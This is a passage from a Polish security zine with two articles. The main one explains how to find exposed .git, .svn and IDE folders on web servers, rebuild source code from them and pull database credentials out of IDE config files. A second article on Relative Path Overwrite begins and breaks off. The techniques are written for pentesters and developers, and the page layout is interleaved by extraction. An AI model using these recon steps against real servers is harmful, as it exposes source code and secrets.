Nazwami obiektów są 40-znakowe skróty (hasze) SHA-1. Każdy obiekt może być pobrania całego repozytorium poleceniem git clone git checkout.
jednym z trzech poniższych typów: Jak sprawdzić, czy folder .git znajduje się na serwerze? Mechanizm HTTP Public Key
»» commit – zawiera informacje na jego temat, takie jak: autor, komentarz oraz ha- Wystarczy sprawdzić, czy url w postaci np. http://adresserwisu/.git zwróci nam Pinning
sze obiektów aktualnego drzewa katalogów i plików projektu; odpowiedź HTTP z kodem innym, niż 404 Not Found. Z reguły, konfiguracja serwera
»» tree – zawiera skrót (hasz) obiektu przechowującego strukturę plików i katalogów; nie zezwala na listing zawartości katalogów, wobec czego otrzymujemy odpowiedź
»» blob – zawiera zawartość pliku zapisaną w postaci binarnej, możliwą do odczyta- 403 Forbidden, co jednoznacznie wskazuje na to, że trafiliśmy na naszą „informacyj-
nia poleceniem git cat-file -p [hasz SHA1]. ną żyłę złota”:

46 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
Wynikiem będzie katalog .git zawierający szkielet repozytorium, w tym folder objects/,
gdzie zapisywać będziemy pobrane obiekty. Najpierw musimy jednak odwzorować hasz
obiektu na fizyczną ścieżkę w zdalnym repozytorium. Ścieżka składa się kolejno:
1. ze stałego fragmentu – git/objects/, Mechanizm Service Workers
2. z dwuliterowej nazwy folderu, będącej dwoma pierwszymi znakami hasza
obiektu, Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
3. z nazwy pliku utworzonej z pozostałych 38 znaków hasza:
strażnik bezpieczeństwa aplikacji
Rysunek 2. Odpowiedź HTTP 403 serwera wskazująca na obecność katalogu .git. http:/localhost/testapp/.git/objects/07/603070376d63d911f608120eb4b5489b507692 webowej

Wiemy, że .git znajduje się na serwerze, ale nie wiemy, jakie skróty SHA-1 identy­ Ochrona podatnych aplikacji
fikują poszczególne obiekty. Jak uzyskać taką informację? Po otwarciu w przeglądarce powyższego adresu, powinniśmy ujrzeć okno dialogo- webowych za pomocą wirtualnych
Cała historia operacji (dostępna po wykonaniu polecenia git log), zapisywa- we pobierania pliku: poprawek w ModSecurity
na jest w pliku .git/logs/head. Jest to zwykły plik tekstowy, zawierający informacje
o wszystkich commitach: Czym jest atak Padding Oracle

Czym jest Bit-Flipping

Bezpieczeństwo aplikacji
webowych: podatności
w mechanizmach uploadu

Rysunek 3. Zawartość pliku .git/logs/head. Ukryte katalogi i pliki jako


źródło informacji o aplikacjach
Przyjrzyjmy się bliżej pierwszemu wpisowi w tym pliku: internetowych
Rysunek 4. Okno dialogowe pobierania pliku w przeglądarce Firefox.
0000000000000000000000000000000000000000 07603070376d63d911f608120eb4b5489b507692
bloorq@gmail.com <bloorq@gmail.com> 1452195279 +0000 commit (initial): index.php Czym jest i jak wykorzystać
initial commit
Plik zapisujemy w naszym tymczasowym repozytorium Git, zachowując prawidłową podatność Relative Path
ścieżkę – w folderze .git/objects/07 – jako plik o nazwie 603070376d63d911f608120e Overwrite/Path–Relative Style
Pierwsze dwa hasze to kolejno: poprzedni i aktualny commit. Ponieważ jest to wpis b4b5489b507692. Aby móc odwoływać się do tego obiektu w poleceniach, musimy Sheet Import (RPO/PRSSI)
dotyczący pierwszego commita w tym repozytorium, pierwszy hasz to po prostu pamiętać o posługiwaniu się pełnym 40-znakowym haszem.
same zera. Typ obiektu możemy sprawdzić poleceniem git cat-file -t: Mechanizm HTTP Public Key
Zanim zaczniemy pobierać obiekty Gita identyfikowane przez odnalezione ha- Pinning
$ git cat-file -t 07603070376d63d911f608120eb4b5489b507692
sze, dla ułatwienia stworzymy szkielet repozytorium Git. W tym celu, w konsoli na-
leży wydać polecenie: Polecenie git cat-file -p pozwala na sprawdzenie zawartości obiektu:
$ git init $ git cat-file -p 07603070376d63d911f608120eb4b5489b507692

47 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
Jak wyżej wspomniałem, zawartość pliku index.php, jaką udało nam się odtwo-
rzyć, jest aktualna w momencie zatwierdzania pierwszego commita z odnalezionego
repozytorium. Gdy przyjrzymy się plikowi logu, widzimy, że to nie był ostatni commit,
i w kolejnym mogły nastąpić jakieś zmiany (w praktyce rzadko będzie nas interesowa- Mechanizm Service Workers
ła zawartość starszych commitów – ostatni zawiera hasz aktualnego drzewa katalo-
gów, które z kolei pozwoli nam uzyskać hasze aktualnych wersji plików). Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Sprawdźmy więc, czy commit 4db7a14eee2cd3ff529278b75e1653e677fe1d02
strażnik bezpieczeństwa aplikacji
zwróci nam inną zawartość pliku index.php. Postępując w dokładnie ten sam spo-
webowej
Rysunek 5. Wynik wykonania poleceń git cat-file w oknie konsoli. sób, co wyżej (rysunki 1–6), ostatecznie uzyskujemy kod źródłowy wskazujący, że
faktycznie aktualna zawartość pliku jest inna: Ochrona podatnych aplikacji
Dokładna analiza treści commita pozwoli nam na uzyskanie kolejnej, istotnej in- webowych za pomocą wirtualnych
$ git cat-file -p a4215057b6545240452087ad4d015bf9b5b817c5
formacji: jaki jest hasz reprezentujący drzewo katalogów i plików w repozytorium. <?php poprawek w ModSecurity
echo "Hello testapp!";
Będzie to informacja dotycząca stanu, w jakim znajdowało się ono w momencie
$i = 100;
wykonania tego commita, a nie aktualnego stanu. echo "Value of i is $i"; Czym jest atak Padding Oracle
Przykład poniżej:
Powyższy przykład prezentuje jedną z kilku dostępnych metod uzyskania dostępu Czym jest Bit-Flipping
do kodu źródłowego aplikacji webowej. Jednak niezależnie od metody, pozosta-
wienie folderu .git na serwerze, na którym znaleźć się nie powinien, na przykład Bezpieczeństwo aplikacji
serwerze WWW, oznacza katastrofę z punktu widzenia bezpieczeństwa. webowych: podatności
w mechanizmach uploadu
Plik .gitignore
Rysunek 6. Hasz odpowiadający plikowi index.php w bieżącym drzewie katalogów i plików. Ukryte katalogi i pliki jako
Jeśli uda nam się odnaleźć folder .git, bardzo prawdopodobnym jest, że znajdzie- źródło informacji o aplikacjach
my również plik .gitignore – jego przeznaczeniem jest wskazanie, które foldery i pliki internetowych
Jak widzimy, po pierwszym commicie w repozytorium znajdował się tylko jeden plik. Git ma zignorować (czyli nie będą one uwzględniane w ramach katalogu roboczego
Mamy również informację o haszu, jego typie (jest to blob, więc obiekt zapisany pod taką Gita, commitowane itp.). Z punktu widzenia pentestera, jest to po prostu lista fol- Czym jest i jak wykorzystać
nazwą zawiera już dane – w tym wypadku będzie to kod źródłowy pliku index.php): derów i plików, które najprawdopodobniej znajdują się na serwerze, lecz nie będą podatność Relative Path
osiągalne opisaną wyżej metodą: Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Mechanizm HTTP Public Key


Pinning

Rysunek 7. Kod źródłowy pliku index.php.

Bingo! Rysunek 8. Przykładowy plik .gitignore.

48 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
SUBVERSION (SVN) Listing 1. Odczytanie zawartości bazy danych przy pomocy konsolowego klienta SQLite.
Subversion (lub SVN) to kolejny bardzo popularny system kontroli wersji, roz-
$ sqlite3 wc.db
wijany w ramach Apache Software Foundation (https://subversion.apache.org/). SQLite version 3.8.10.2 2015-05-20 18:17:19
Podobnie jak opisany powyżej Git, SVN zapisuje informacje o aktualnym katalogu Enter ".help" for usage hints. Mechanizm Service Workers
sqlite> .databases
roboczym w ukrytym folderze o nazwie .svn. seq name file
--- --------------- ---------------------------------------------------------- Wszystko o CSP 2.0 – Content
Przykładowy folder z informacjami o repozytorium przedstawia poniższy zrzut 0 main /Users/bl4de/hacking/playground/wc.db
sqlite> .dump Security Policy jako uniwersalny
ekranu: PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
strażnik bezpieczeństwa aplikacji
CREATE TABLE REPOSITORY ( id INTEGER PRIMARY KEY AUTOINCREMENT, root TEXT UNIQUE webowej
NOT NULL, uuid TEXT NOT NULL );
INSERT INTO "REPOSITORY" VALUES(1,'svn+ssh://192.168.1.4/var/svn-repos/
project_wombat','88dcec91-39c3-4b86-8627-702dd82cfa09'); Ochrona podatnych aplikacji
(...)
webowych za pomocą wirtualnych
poprawek w ModSecurity
INSERT INTO "NODES" VALUES(1,'trunk',0,'',1,'trunk',1,'normal',NULL,NULL,'dir',X'
2829','infinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'',0,NULL,1,'',1,'normal',NULL,NULL,'dir',X'2829','i Czym jest atak Padding Oracle
nfinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'nor
mal',NULL,NULL,'file',X'2829',NULL, Czym jest Bit-Flipping
'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',
NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
INSERT INTO "NODES" VALUES(1,'trunk/test2.txt',0,'trunk',1,'trunk/test2.txt',3,'n Bezpieczeństwo aplikacji
ormal',NULL,NULL,'file',NULL,NULL,'$sha1$6f3fb98418f14f293f7ad55e2cc468ba692b23ce
',NULL,3,1456056740296578,'bl4de',27,1456056696000000,NULL,NULL); webowych: podatności
w mechanizmach uploadu
(...)

Ukryte katalogi i pliki jako


Operacje INSERT do tabeli NODES zawierają hasze SHA-1 (podobnie, jak w przypad- źródło informacji o aplikacjach
ku Gita) oraz informację, którego pliku dotyczą. Pliki zapisane pod postacią haszy internetowych
Rysunek 9. Struktura katalogu .svn.
znajdują się w folderze pristine – jeśli mamy informacje wydobyte z bazy wc, nic nie
Z naszego punktu widzenia, najważniejszy jest plik systemu bazodanowego SQLite stoi już na przeszkodzie, by pobrać je na dysk naszego komputera. Czym jest i jak wykorzystać
wc.db oraz zawartość folderu pristine. To tam znajdziemy wszystkie interesujące nas Aby zmapować hasz z: $sha1$945a60e68acc693fcb74abadb588aac1a9135f62 do fi- podatność Relative Path
informacje. zycznej ścieżki na serwerze zdalnym, musimy wykonać kilka prostych operacji: Overwrite/Path–Relative Style
Zaczniemy od pliku wc.db. Jeśli po otwarciu w przeglądarce adresu: 1. należy najpierw usunąć przedrostek $sha1$; Sheet Import (RPO/PRSSI)
2. następnie pozostałą część uzupełnić o przyrostek .svn-base;
http://server/path_to_vulnerable_site/.svn/wc.db
3. dwa pierwsze znaki hasza to folder w katalogu pristine (podobnie, jak w przypad- Mechanizm HTTP Public Key
ku Gita i ścieżki do folderu .git/objects/XX); Pinning
ukaże nam się okno pobierania pliku, oznacza to, że mamy dostęp do informacji 4. ostatnim krokiem jest utworzenie kompletnego adresu url do pliku na serwerze:
zapisanych przez SVN w katalogu roboczym. Aby odczytać informacje zawarte
http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb5
w pobranej bazie danych, najlepiej posłużyć się klientem SQLite: 88aac1a9135f62.svn-base

49 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
Gdy użyjemy powyższego adresu w przeglądarce, powinniśmy uzyskać możliwość jedną wspólną cechę – podobnie jak systemy kontroli wersji, zapisują wiele infor-
pobrania i zapisania pliku, bądź odczytania go bezpośrednio w oknie przeglądarki: macji na temat projektu oraz konfiguracji samego środowiska w pewnych, charak-
terystycznych dla siebie lokalizacjach. Z reguły te informacje nie są dostępne na ser-
werach produkcyjnych, ale zdarza się, że – podobnie jak w przypadku Gita czy SVN Mechanizm Service Workers
– mniej doświadczeni lub nieuważni deweloperzy, pozostawiają takie foldery i pliki
na ogólnie dostępnych serwerach. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
JetBrains IDE – PHPStorm, WebStrom, PyCharm, IntelliJ IDEA
webowej
Środowiska programistyczne z czeskiej „stajni” JetBrains (http://www.jetbrains.
com), to bardzo popularne i cenione na całym świecie produkty. Poza dość zunifi- Ochrona podatnych aplikacji
kowanym interfejsem, ustawieniami oraz ogólną filozofią działania niezależnie od webowych za pomocą wirtualnych
Rysunek 10. Ustalenie ścieżki do pliku w folderze .svn pozwala na wyświetlenie jego treści w przeglądarce.
platformy programistycznej, ich wspólną cechą jest folder .idea, w którym zapisują poprawek w ModSecurity
Dodatkową informacją uzyskaną z bazy danych wc.db może być też adres do repo- wszystkie informacje związane z projektem oraz ustawieniami samego IDE.
zytorium centralnego, zapisany w tabeli REPOSITORIES: Szczególnie jeden z plików znajdujących się w tym folderze jest bardzo warto- Czym jest atak Padding Oracle
ściowy z punktu widzenia cyberprzestępcy lub pentestera: workspace.xml. Zawiera
svn+ssh://192.168.1.4/var/svn-repos/project_wombat
on wszystkie informacje, które pozwalają na łatwe odtworzenie struktury plików Czym jest Bit-Flipping
i katalogów aplikacji bez potrzeby uciekania się do narzędzi typu DirBuster.
Podobnie jak w przypadku Gita, pozostawienie katalogu .svn na serwerze oznacza Na poniższym zrzucie ekranu przedstawione jest przykładowe drzewo plików Bezpieczeństwo aplikacji
dla włąściciela serwisu katastrofę w przypadku jego odkrycia przez cyberprzestęp- i katalogów w folderze .idea. Poza workspace.xml jest tam jeszcze kilka plików, któ- webowych: podatności
w mechanizmach uploadu
ców chcących skompromitować aplikację bądź serwis internetowy. rych analiza może dostarczyć wielu wartościowych informacji na temat projektu.
W obu opisanych sytuacjach (SVN i Git), ani technologia, w jakiej serwis został
Ukryte katalogi i pliki jako
napisany, ani użyte w kodzie zabezpieczenia, nie mają znaczenia. źródło informacji o aplikacjach
Należy mieć świadomość, że dostęp do kodu źródłowego oznacza z reguły do- internetowych
stęp do danych dostępowych do serwerów bazodanowych, z którymi aplikacja się
komunikuje, czy jakichkolwiek innych zasobów. Czym jest i jak wykorzystać
Analiza kodu źródłowego może też umożliwić wykorzystanie luk, których odkry- podatność Relative Path
cie w tradycyjny sposób nie byłoby możliwe (np. błędy w zabezpieczeniu uploadu Overwrite/Path–Relative Style
plików czy odkrycie „tylnych furtek” pozostawionych przez programistów w celach Sheet Import (RPO/PRSSI)
diagnostycznych).
Mechanizm HTTP Public Key
KATALOGI I PLIKI KONFIGURACYJNE ŚRODOWISK Pinning
PROGRAMISTYCZNYCH

IDE (Integrated Development Environment) – zintegrowane środowiska programi-


Rysunek 11.Zawartość folderu .idea środowiska PHPSt.
styczne wykorzystywane przez wielu developerów aplikacji internetowych, mają

50 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
Przyjrzyjmy się plikowi workspace.xml dokładniej: Jeśli programista do zarządzania bazą danych używał wbudowanego w IDE
JetBrains menedżera połączeń bazodanowych oraz klienta SQL, również informa-
Listing 2. Plik workspace.xml.
cje na temat połączeń z serwerami bazodanowymi są dla nas dostępne z poziomu
<?xml version="1.0" encoding="UTF-8"?> plików konfiguracyjnych IDE (dataSources.ids, dataSource.xml, dataSources.xml, Mechanizm Service Workers
(...) dataSources.local.xml, dbnavigator.xml), przykładowo dbnavigator.xml:
<component name="FileEditorManager">
<leaf>
Wszystko o CSP 2.0 – Content
<file leaf-file-name="README.md" pinned="false" current-in-tab="false"> Listing 3. Plik dbnavigator.xml. Security Policy jako uniwersalny
<entry file="file://$PROJECT_DIR$/README.md"> strażnik bezpieczeństwa aplikacji
(...) <database>
</component> webowej
<name value="database_name" />
(...) <description value="" />
<database-type value="MYSQL" /> Ochrona podatnych aplikacji
<config-type value="BASIC" />
Wszystkie węzły znajdujące się w elemencie FileEditorManager zawierają relatywne <database-version value="5.7" /> webowych za pomocą wirtualnych
ścieżki do wszystkich plików wchodzących w skład projektu. Upraszczając – jest to <driver-source value="BUILTIN" /> poprawek w ModSecurity
<driver-library value="" />
XML-owa wersja wyniku wykonania polecenia ls -l w głównym katalogu projektu. <driver value="" />
Bliższa analiza każdego z tych węzłów pozwala znaleźć informacje np. o użytym <host value="localhost" /> Czym jest atak Padding Oracle
<port value="3306" />
systemie kontroli wersji (co może nas nakierować na użycie opisanych wcześniej <database value="mywebapp" />
<url-type value="DATABASE" /> Czym jest Bit-Flipping
metod uzyskiwania informacji z takich systemów): <os-authentication value="false" />
<empty-password value="false" />
<component name="Git.Settings"> <user value="root" />
<option name="UPDATE_TYPE" value="MERGE" /> <password value="cm9vdA==" /> <!-- tak, to jest hasło ‚root' i Base64 :) -->
Bezpieczeństwo aplikacji
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" /> </database> webowych: podatności
</component>
w mechanizmach uploadu
Znajdziemy również dane na temat commitów do tych systemów: czy dataSources.local.xml:
Ukryte katalogi i pliki jako
(...) Listing 4. Fragment pliku dataSources.local.xml. źródło informacji o aplikacjach
<task id="LOCAL-00211" summary="change WebSocket port to 1099"> internetowych
<created>1436206418000</created>
<option name="number" value="00211" /> <?xml version="1.0" encoding="UTF-8"?>
<option name="project" value="LOCAL" /> <project version="4">
<updated>1436206418000</updated> <component name="dataSourceStorageLocal"> Czym jest i jak wykorzystać
</task> <data-source name="MySQL - mywebapp@localhost" podatność Relative Path
(...) uuid="8681098b-fc96-4258-8b4f-bfbd00012e2b">
<secret-storage>master_key</secret-storage> Overwrite/Path–Relative Style
<user-name>root</user-name> Sheet Import (RPO/PRSSI)
<schema-pattern>mywebapp.*</schema-pattern>
a także informacje o historii lokalnej zmian w projekcie (historii zapisanej na kompu- <default-schemas>mywebapp.*</default-schemas>
terze programisty, a nie w systemie kontroli wersji): </data-source> Mechanizm HTTP Public Key
</component>
</project>
Pinning
<component name="ChangeListManager">
(...)
<change type="DELETED" beforePath="$PROJECT_DIR$/chat/node_modules/socket.io/
node_modules/socket.io-adapter/node_modules/debug/Makefile" afterPath="" /> Ilość i zawartość tych plików zależy od użytych w IDE wtyczek, konfiguracji i wielu
(...) innych czynników. Najlepszą metodą zbadania zawartości w katalogu .idea, jest:
</component>
1. pobranie i zainstalowanie jednego z środowisk IDE na własnym komputerze;

51 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
2. utworzenie przykładowego projektu; nieuprawnionych informacji i w katalogu projektu nie przechowuje praktycznie
3. użycie kilku pluginów lub wbudowanych klientów do systemów kontroli wersji żadnych danych istotnych z punktu widzenia cyberprzestępcy czy pentestera.
lub zarządzania bazami danych; Postanowiłem jedynie wspomnieć o tym rozwiązaniu – dotychczas nie miałem
4. obserwacja, jakie informacje/dane pojawiają się w plikach w tym folderze w trak- okazji analizować zawartości większego projektu w tym IDE – sugeruję jednak, że Mechanizm Service Workers
cie pracy z edytorem i wykonywania standardowych operacji, jak utworzenie no- w określonych warunkach, możliwe jest uzyskanie istotnych informacji, m.in. w trak-
wego pliku i zapisanie go na dysk. cie analizy pliku konfiguracyjnego. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Plik konfiguracyjny składa się z nazwy projektu oraz przyrostka .komodoproject :
strażnik bezpieczeństwa aplikacji
NetBeans IDE
$ ls -l | grep komodo webowej
NetBeans (https://netbeans.org/) to kolejne, bardzo popularne IDE, będące dar- -rw-r--r-- 1 bl4de staff 300 Feb 4 23:19 bwapp.komodoproject
mowym oprogramowaniem wspieranym przez firmę Oracle. W porównaniu z IDE, Ochrona podatnych aplikacji
JetBrains nie jest aż tak bardzo pomocne i nie udostępnia aż tak wielu informacji PLIKI KONFIGURACYJNE NARZĘDZI DEWELOPERSKICH webowych za pomocą wirtualnych
w folderze z konfiguracją projektu i samego środowiska zapisanym bezpośrednio W ostatnim czasie wraz z rosnącą popularnością wszechobecnego JavaScript poprawek w ModSecurity
w projekcie. w katalogach projektów jak grzyby po deszczu zaczęły pojawiać się pliki kończące
Katalog o nazwie nbproject jest dość skromny, ale i tak analiza pliku project.xml się z reguły na „-rc” i zaczynające od znaku kropki. Pojawiło się również sporo pli- Czym jest atak Padding Oracle
może dostarczyć kilku cennych wskazówek i udzielić odpowiedzi na kilka podsta- ków JSON, które osobie nie zorientowanej w temacie niewiele powiedzą, ale dla
wowych pytań odnośnie użytych w projekcie technologii. wprawnego cyberprzestępcy lub pentestera mogą stać się cennym źródłem infor- Czym jest Bit-Flipping
macji o projekcie i zastosowanych technologiach, frameworkach czy bibliotekach.
Użycie narzędzi takich, jak DirBuster (http://sourceforge.net/projects/dirbuster/) nie Bezpieczeństwo aplikacji
zawsze pozwala na odnalezienie takich plików, dlatego warto wiedzieć, gdzie i cze- webowych: podatności
w mechanizmach uploadu
go szukać.
Ukryte katalogi i pliki jako
bower.json, package.json
źródło informacji o aplikacjach
Bower to biblioteka umożliwiająca bezproblemową instalację i aktualizację internetowych
– wraz z zależnościami, bibliotek i frameworków używanych przez web develope-
rów w aplikacjach napisanych w JavaScript. Czym jest i jak wykorzystać
Przykładowy plik bower.json przedstawiony jest poniżej: podatność Relative Path
Overwrite/Path–Relative Style
Listing 5. Plik bower.json.
Sheet Import (RPO/PRSSI)
{
"name": "testapp", Mechanizm HTTP Public Key
"version": "2.1.0",
Rysunek 12. Przykładowa zawartość folderu nbproject.
"authors": [
Pinning
"Rafal 'bl4de' Janicki <bloorq@gmail.com>"
],
ActiveState Komodo IDE "description": "test application",
"main": "index.html",
Stosunkowo mało znane i nie tak popularne, jak poprzednie opisywane IDE "moduleType": [
– Komodo z ActiveState – spośród wymienionych rozwiązań, udostępnia najmniej "globals"

52 f  PODZIEL SIĘ ZINEM


t f
Rafał 'bl4de' Janicki  Ukryte katalogi i pliki jako źródło informacji…

sekurak.pl /  offline 
], z samą aplikacją czy serwisem internetowym. Mogą one w banalny sposób udo-
"license": "MIT",
"dependencies": { stępnić informacje, które byłyby nie do uzyskania innymi tradycyjnymi metodami.
"angular": "1.4", Przykładowo – kod w pliku PHP jest niedostępny na prawidłowo skonfigurowa-
"pure": "~0.5.0",
"angular-route": "~1.2.26", nym serwerze Apache czy nginx, nawet jeśli znamy bezwzględną ścieżkę do tego pli- Mechanizm Service Workers
"angular-ui-router": "~0.2.11",
"angular-bootstrap-datetimepicker": "latest",
ku. Pozostawienie folderu systemu kontroli wersji na serwerze sprawia, że możemy
"angular-translate": "~2.6.1" bez trudu odczytać zawartość pliku i żadne zabezpieczenia już tutaj nie pomogą. Wszystko o CSP 2.0 – Content
}, Security Policy jako uniwersalny
"devDependencies": {} Z punktu widzenia programisty – bardzo ważny jest nadzór nad zawartością
}
strażnik bezpieczeństwa aplikacji
umieszczaną na serwerze. Niedopuszczalne jest, by w środowisku produkcyjnym
webowej
znalazł się np. folder .idea czy zawartość typowych folderów „roboczych”, typu: tmp,
Bardziej interesujące z punktu widzenia atakującego lub pentestera będą nie­wą­tp­ temp, dev, backup, debug, log, logs i tym podobne, często wykorzystywane w trakcie Ochrona podatnych aplikacji
liwie informacje o technologiach użytych po stronie serwera (node.js lub io.js pracy nad aplikacją, lokalizacje. webowych za pomocą wirtualnych
– https://nodejs.org/en/, https://iojs.org/en/) – plik package.json: Z punktu widzenia atakującego – dobrze jest mieć świadomość tego, jak no- poprawek w ModSecurity
woczesne, wspomagające programistów w ich codziennej pracy narzędzia, mogą
{
"name": "Test application server dependencies", przez nieuwagę czy zwykłe niedbalstwo – stać się źródłem wycieku informacji i naj- Czym jest atak Padding Oracle
"version": "1.0.0",
"author": "bl4de", słabszym ogniwem w nawet najlepiej zabezpieczonej aplikacji webowej.
"dependencies": { Czym jest Bit-Flipping
"socket.io": "^1.3.5",
"mysql": "^2.9.0"
} Rafał 'bl4de' Janicki. Od wielu lat związany z aplikacjami internetowymi, Bezpieczeństwo aplikacji
}
od kilku jako HTML5/JavaScript Developer z doświadczeniem w dużych webowych: podatności
korporacjach. Interesuje się także tematyką bezpieczeństwa aplikacji w mechanizmach uploadu
internetowych.
W przypadku odkrycia luki typu LFI (Local File Inclusion, czyli atak umożliwiający
Ukryte katalogi i pliki jako
odczytanie dowolnego pliku znajdującego się na serwerze poprzez dołączenie jego źródło informacji o aplikacjach
zawartości do źródła strony bądź aplikacji WWW) i odczytania tego pliku, atakujący internetowych
zdobędzie informacje np. o użytych pakietach npm (https://www.npmjs.com/) do
obsługi połączeń poprzez mechanizm WebSocket czy też zastosowanego systemu Czym jest i jak wykorzystać
bazodanowego (w tym wypadku MySQL). podatność Relative Path
Warto również poszukać plików takich jak .bowerrc, .eslintrc czy .jshintrc – każdy Overwrite/Path–Relative Style
z nich może zawierać wskazówkę, jakie technologie mogły zostać użyte w aplikacji, Sheet Import (RPO/PRSSI)
odkryć skonfigurowane na potrzeby deweloperskie ustawienia, bądź połączenia do
innych, niemożliwych do zidentyfikowania z poziomu przeglądarki lub skanera sie- Mechanizm HTTP Public Key
ciowego – zasobów. Pinning

PODSUMOWANIE
Jako programista aplikacji internetowych, z doświadczenia wiem, jak wiele infor-
macji na temat projektu jest przechowywanych w zasobach zupełnie nie związanych

53 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk
 Początkujący  |  Średni  |  Zaawansowany   Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Czym jest i jak wykorzystać podatność
Relative Path Overwrite/Path–Relative
Style Sheet Import (RPO/PRSSI) Mechanizm Service Workers

Relative Path Overwrite (lub – jak w tytule – Path–Relative Style Sheet Wszystko o CSP 2.0 – Content
Import), jest nowym rodzajem ataku, w którym wykorzystuje się nie- Security Policy jako uniwersalny
typowe zachowania serwerów aplikacyjnych oraz aplikacji webowych strażnik bezpieczeństwa aplikacji
w zakresie mechanizmów przetwarzających względne adresy URL. Jak webowej
dużym zagrożeniem jest RPO/PRSSI i w jaki sposób podejść do pisania
exploitów dla tej podatności? Odpowiedzi na te pytania znajdziecie Rysunek 1. Centrum sprzedaży gier, w którym sprzedawcy mogą wystawiać produkty na sprzedaż. Ochrona podatnych aplikacji
w poniższej publikacji. Listing 1. Kod HTML testowanego serwisu (przed atakiem). webowych za pomocą wirtualnych
poprawek w ModSecurity
<!doctype html>
<html>
W 2014 roku znany badacz bezpieczeństwa przeglądarek – Gareth Hayes – opisał <head> Czym jest atak Padding Oracle
ciekawe zachowanie pewnej aplikacji webowej. Manipulując adresem URL, sprowo- <link rel=”stylesheet” href=”style.css” />
</head>
kował przeglądarkę do załadowania arkusza stylów o innej treści, niż spodziewałby <body> Czym jest Bit-Flipping
<h1>Twoje Zaufane Centrum Sprzedaży</h1>
się tego programista serwisu. Ostatecznie doprowadziło to do wstrzyknięcia zło- <h3>Lista produktów wystawiona przez sprzedających:</h3>
<ul> Bezpieczeństwo aplikacji
śliwego kodu CSS, a podatność zyskała nazwę „Path–Relative Style Sheet Import”. <li>Fallout 4 (PS4 Blu-ray)</li>
Uogólniając: Relative Path Overwrite jest zagrożeniem, w którym korzystając z ma- <li>Darkness Dungeon (Steam key)</li> webowych: podatności
<li>This War of Mine (Steam key)</li>
</ul> w mechanizmach uploadu
nipulacji adresu względnego strony, staramy się zmienić jej zachowanie. </body>
</html>
Ukryte katalogi i pliki jako
SŁOWEM WSTĘPU źródło informacji o aplikacjach
Listing 2. Zawartość pliku style.css.
Praktyczne wykorzystanie RPO/PRSSI wymaga połączenia kilku technik atakowa- internetowych
nia aplikacji webowych, przeglądarek oraz serwerów. W celach demonstracyjnych h1 {
przeprowadzę analizę bezpieczeństwa fikcyjnej platformy sprzedaży znajdującej się color: #00CC00;
font-style: italic; Czym jest i jak wykorzystać
pod adresem: } podatność Relative Path
Overwrite/Path–Relative Style
»» http://vulnerable.com/vuln.php. GDZIE SZUKAĆ PODATNOŚCI Sheet Import (RPO/PRSSI)
Podatności RPO szuka się na stronach, na których przeglądarka wysyła żądania
Serwis testowy działa w bardzo prostym modelu – zarejestrowany sprzedawca po dodatkowe zasoby – w szczególności arkusze stylów CSS – które zostały zadekla- Mechanizm HTTP Public Key
może dodać nowy przedmiot (grę) o wskazanej nazwie do serwisu. Na stronie głów- rowane w postaci adresów względnych. Pinning
nej klienci widzą listę wszystkich dostępnych gier oraz mogą zdecydować się na ich W omawianym przykładzie, niebezpieczne odwołanie znajduje się w linii 4.
kupno – tak jak na popularnych portalach aukcyjnych.
<link rel=”stylesheet” href=”style.css” />
Wygląd serwisu demonstruje rysunek 1, zaś jego kod został przedstawiony na
listingach 1 oraz 2.

55 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
Gdy treść strony ładowana jest spod adresu http://vulnerable.com/vuln.php, ar- JAK WYGLĄDA PODATNOŚĆ RPO/PRSSI
kusz stylów zostanie załadowany z adresu http://vulnerable.com/style.css. Jeśli znamy sposób przetwarzania żądań HTTP przez serwery, nie powinno być
Powyższe odwołanie do pliku CSS rozpoczyna zabawę w wykorzystanie podat- dla nas niespodzianką, że odwołanie do adresów:
ności RPO. Aby jednak zrozumieć ideę ataku, najpierw musimy wiedzieć, w jaki spo- 1. http://vulnerable.com/vuln.php, Mechanizm Service Workers
sób serwery WWW obsługują dynamiczne treści – takie jak skrypty PHP, JSP czy ASP 2. http://vulnerable.com/vuln.php/put/evil/here
– w kontekście adresów URL. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
zwróci dokładnie ten sam kod HTML (listing 1) zawierający odwołanie do zewnętrz-
strażnik bezpieczeństwa aplikacji
Poniższe opracowanie wykorzysta w przykładach sposób testowania wskazany wyżej, tj. dopi- nego arkusza styli:
sywanie na końcu adresu URL ciągów przypominających strukturę katalogów (/testing/exam- webowej
